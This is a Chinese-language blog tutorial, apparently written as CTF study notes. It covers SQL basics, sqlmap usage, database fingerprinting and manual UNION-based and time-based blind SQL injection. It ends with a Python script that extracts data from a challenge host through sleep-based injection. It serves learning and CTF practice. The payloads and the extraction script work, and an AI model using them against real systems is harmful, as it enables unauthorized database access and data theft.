学习笔记-SQL注入(上)

数据库基础

数据库基础概念

数据库,又称为数据管理系统,简而言之可视为电子化的文件柜——存储电子文件的处所,用户可以对文件中的数据运行新增、截取、更新、删除等操作。

所谓“数据库”系以一定方式储存在一起、能予多个用户共享、 具有尽可能小的冗余度、与应用程序彼此独立的数据集合。一个数据库由多个表空间(Tablespace)构成。

SQL部分语法基础

创建并切换数据库(CREATE)

创建一个名为test的数据库

CREATE DATABASE test; 

将当前操作的数据库切换为test

USE test; 

创建表,查看表结构(CREATE)

创建两列的表testtable, id和name,id自动生成且自增

CREATE TABLE testtable (
          id int(11)auto_increment primary key,
          name varchar(256)
);

展示testtable表结构

DESC testtable;

添加数据(INSERT)

插入数据,id自动生成,name为DASCTF, BUUCTF

INSERT INTO testtable(name) VALUES ('DASCTF'),('BUUCTF');

查询数据(SELECT)

直接查询表数据

SELECT *FROM testtable;

查询name为’a’的数据

SELECT *FROM testtable WHERE name='a';

修改数据(UPDATE)

将表内数据name列内容改为’DASCTF777′

UPDATE testtable SET name='DASCTF777'

删除数据(DELETE)

删除表中name为’DASCTF777’的数据

DELETE FROM testtable WHERE name='DASCTF777';

准备语句(PREPARE)

  • PREPARE – 准备执行的声明。
  • EXECUTE – 执行由PREPARE语句定义的语句。
  • DEALLOCATE PREPARE – 发布PREPARE语句。

具体可以参考:MySQL Prepared语句

样例:

PREPARE stmt1 FROM 'SELECT productCode, productName
                    FROM products
                    WHERE productCode = ?';
SET @pc = 'S10_1678';
EXECUTE stmt1 USING @pc;

SQL注入基础

SQL注入相关概念以及防御方法

万能钥匙:通常可以观察注入点,找到所有表的数据。

SELECT id, username FROM users WHERE id=1 or 1=1
SELECT id, username FROM users WHERE id=1 or '1'='1'

SQL注入概念

SQL注入(英语:SQL injection)是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器 误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。

样例代码:该代码通过简单的字符串拼接而没有经过任何的过滤,容易引发注入漏洞。

$sql = "SELECT id, username FROM users WHERE id=$id";

SQL注入防御方法

  • WAF:这句防御方法通常防不胜防,往往可以被有意绕过,甚至被反利用。
  • 将反引号转义后再拼接:需要再多个地方使用转义后拼接,比较麻烦。
  • 使用预处理语句:比较正确的处理方法

SQLMAP

开源测试工具,可以测试SQL注入点。

官网:http://sqlmap.org/

具体如何使用SQLMap方法可以直接看readme.md文档。

测试步骤-GET

1.获得目标URL,其中带有查询参数。

2.打开命令行输入

sqlmap -u "http://example.com?id=1" --all

测试步骤-POST

常用参数

  • –dbs:获取数据库列表
  • –table -D “数据库”:获取数据库中有哪些表
  • –columns -T “数据表” -D “数据库”:获取指定表中的字段
  • –dump -C”字段” -T“数据表”-D“数据库”:获得指定字段中的内容

数据库类型判别

常见数据库特征介绍以及辨别方法

  • 常见数据库:MYSQL, MairaDB, Postgres, SQL Server, Oracle, Oracle, Sqlite
  • 基本思路:能在这种数据库而在其他数据库用不了的函数或属性。
  • 测试网站:https://sqliteonline.com
  • Oracle测试网站:https://livesql.oracle.com

版本函数 version() 输出

每种数据库的版本查询函数以及版本号回显都会有明显的回显,可以轻松的通过版本查询来判断出数据库的类别。

  • MYSQL:
    • SELECT version()
    • SELECT @@version
    • 答案:通常为5.7 5.8
  • MairaDB:
    • SELECT version()
    • SELECT @@version
    • 答案:10.4.12-MairaDB
  • Postgres:
    • SELECT version()
    • 答案: Postgres 12.3
  • SQL Server:
    • SELECT @@version
    • 答案:Microsoft SQL Sever 2019
  • Oracle:
    • SELECT *from v$version;
    • 答案:Oracle Database 19c Enterprise Release 19.0.0.0.0
  • SQlite:
    • SELECT sqlite_version();
    • 答案:3.31.1

特有的函数利用

每种数据库都有自身独有的特殊函数,可以通过观察该函数在这个数据库下是否能运行来区分出是什么数据库。

  • MYSQL:
    • connection_id()
    • last_insert_id()
    • row_count()
  • MariaDB:
    • connection_id()
    • last_insert_id()
    • row_count()
  • Postgres:
    • SELECT *from now()
  • SQL Server:
    • @@rowcount
    • @@pack_received
  • SQlite:
    • strtime(“%s”,’now’);

SQL手工注入基础

SQLMap是一个很强大的工具,然而在大部分的情况下,SQLMap不能一劳永逸的解决所有的问题,通常题目中会存在WAF、或者一些很奇怪的回显等等,这种情况下就不能直接用SQLMap来进行解决,需要手工注入

常见利用参数

  • user():当前数据库用户
  • database():当前数据库名
  • version():当前使用的数据库版本
  • @@datadir:数据库存储数据路径
  • concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
  • group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
  • concat_ws():用法类似
  • hex() 和 unhex():用于 hex 编码解码
  • load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
  • select xxoo into outfile '路径':权限较高时可直接写文件

无过滤情况下有回显手工注入

在简单无过滤且有回显的情况下,可以通过查询库→表→字段→字段内容来对SQL数据库关键数据进行查询。

判断字段数

id = 1 order by 1 #正确回显
id = 1 order by 2 #正确回显
id = 1 order by 3 #报错提示没有字段数

分别传入以上order by 语句直到发生报错。其中 id=1 order by 3 时报错,说明 SELECT 出前面数据的字段数为 2。

order by 可以用数字指代字段名,从 1 开始对应 SELECT 出数据的第几字段。

使用联合查询

id=1 UNION SELECT 1,version()

可以看到夹带上了 version() 的执行结果,返回了数据库版本号。

UNION 可以将两个 SELECT 的结果合并在一起,但列数必须一致。

查询所有数据库

id=1 UNION SELECT 1, group_concat(distinct TABLE_SCHEMA) FROM information_schema.tables

可以看到目前数据库系中所有数据库的名字。

information_schema 表中储存了数据库的库表信息,可以从中使用 SELECT 语句来读取信息。

查询特定数据库的表的信息

id=1 UNION SELECT 1,group_concat(TABLE_NAME) FROM information_schema.tables WHERE table_schema= 'test'

可以看到test数据库中所有表的名字。

information_schema 表中储存了数据库的库表信息,可以从中使用 SELECT 语句来读取信息。

查询特定数据库中特定数据表的字段信息

id=1 UNION SELECT 1,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE table_schema= 'test' AND table_name='testtable'

可以看到test数据库中 testtable 表的字段的名字。

information_schema 表中储存了数据库的库表信息,可以从中使用 SELECT 语句来读取信息。

查询特定数据库中特定数据表的特定字段内容

id=1 UNION SELECT 1,group_concat(username) FROM test.testtable;

可以获得username字段的内容。

information_schema 表中储存了数据库的库表信息,可以从中使用 SELECT 语句来读取信息。

无过滤情况下无回显手工注入

使用的具体函数跟有回显手工注入差不多,区别在于判断是否生效的方法是使用sleep()函数。

判断注入点

id=1
id=1 AND sleep(10) = 1

输入两句SQL语句,回显一样,但后者返回的时间特别长,说明此处有注入点,且延时生效了。

利用延时函数判断注入语句是否生效。

查询数据库名称

id=1 AND if(substring((SELECT database()),1,1)='*',sleep(10),1)
# (*为英文字母)

当出现延时时,说明database的第一个字母为’*’。

if 为判断函数,第一个参数为真时则返回第二个参数内容,反之则返回 第三个参数内容。

substring 为截取字符串函数,第一个参数为要截取的字符串,第二个则为起 始字符,第三个则为要截取的字符数。

将 substring 的结果(单字符)与我们传入的字符进行比较,符合就会延时。

编写脚本

编写脚本,便于注入,注入语句基本与有回显注入类似。

import string
import requests
def request(request_id):
    try:
        # 延时注入,超时为真
        requests.get("http://f6996fad-6528-4dc1-80ac-3008608c99c2.das-node.wetolink.com:82?id={}".format(request_id),
                     timeout=5)
    except:
        return True
    return False
# 要执行的语句
# sql = "select database()"
# sql = "select group_concat(distinct TABLE_SCHEMA) from information_schema.tables"
# sql = "select group_concat(distinct TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'test'"
# sql = "select group_concat(distinct COLUMN_NAME) from information_schema.columns where TABLE_SCHEMA = 'test' and TABLE_NAME='flag'"
# sql = "select group_concat(distinct flag) from test.flag"
outer_len_sql = "id=1 and if(length(({}))={},sleep(10),1)"
outer_sql = "id=1 and if(substring(({}),{},1)='{}',sleep(10),1)"
# 获取结果长度
length = 1
while True:
    if request(outer_len_sql.format(sql, length)):
        break
    length += 1
print("长度:{}".format(length))
result = ""
for i in range(1, length + 1):
    # 只测试可见字符
    for j in string.printable:
        if request(outer_sql.format(sql, i, j)):
            result += j
            print("结果:{}".format(result))
            break
print("结果:{}".format(result))

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇